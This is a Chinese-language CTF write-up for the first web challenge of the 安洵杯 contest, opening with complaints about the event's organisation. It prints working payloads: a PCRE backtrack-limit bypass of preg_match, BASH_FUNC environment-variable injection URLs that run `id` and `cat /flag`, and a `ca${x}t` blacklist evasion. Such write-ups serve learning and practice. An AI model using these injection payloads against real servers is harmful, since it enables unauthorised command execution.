说点题外话,就是今年的安洵杯老逆天了这件事
其实我连账号都没有的(( 懒狗本质,懒得去注册账号
然后看到群里发的比赛链接,欸,怎么连都进不去
容器环境也打不开… 还是得靠thai神
然后thai神光速做完web1下班,后面就没见到题目解了= =
额,这段话的意思就是很离谱,只能打开第一题的环境…
后面就更搞笑了
比赛直接给paused了,笑死
然后群里都在说这一届安洵杯就是个离谱杯
知乎一看:
Web: 5秒最多10次请求 开局500 公共环境静态flag
Misc:套题
Crypto: misc 简单的密码学不给附件
re:原题
甚至没有pwn
甚至还有开盒,收集学生信息
不过知乎说他们没少看p神文章还挺对的
web 1 就考的两篇p神的文章((
不吹水了,来看看web1
好像忘记源码了…
大概就是get传参名为heizi
,开头前5个字符限制为aikun
最后10个字符限制为xiaojijiao
,如果字符串为aikunxiaojijiao
输出nonono
否则进入下一层
下一层考的是p神的PHP利用PCRE回溯次数限制绕过某些安全限制
这篇文章
源码应该是这样的:
1 | if(preg_match('/aikun.+?xiaojijiao/is',$heizi)){ |
如果输入的是aikunaaaaaxiaojijiao
的话
.+?
匹配到a
- 由于是非贪婪模式
.+?
停止匹配,由s
匹配a
(第二个a) - 匹配失败,回溯到
.+?
匹配第2个a - 然后停止,
s
匹配第三个a
- …
随着a的数量增加,回溯次数越来越多,但是回溯次数的上限是100万次,如果超出了这个回溯次数就会返回false
所以我们直接用python打印100万个a写在里面就好了
print('a' * 1000000)
随后进入第二层
1 |
|
这篇就是p神的
我是如何利用环境变量注入执行任意命令
其语句为:
1 | ENV='$(id 1>&2)' dash -i -c 'echo hello' #dash |
在CentOS 8下安装PHP,并使用本文开头的代码,直接运行一个测试服务器:
1 | 访问1.php?envs[BASH_FUNC_echo%25%25]=()%20{%20id;%20}即可执行id命令 |
而在Bash 4.4以前是:
1 | 1.php?envs[BASH_FUNC_echo()]=()%20{%20id;%20} |
所以直接打就是了
1 | /e4eeee4vaa1ll1we44ebf111a4g.php?env[BASH_FUNC_echo()]=()%20{%20cat%20/flag;%20} |
不过这里得绕一下blacklist的限制
可以使用空变量绕过:
1 | ca${x}t -->cat |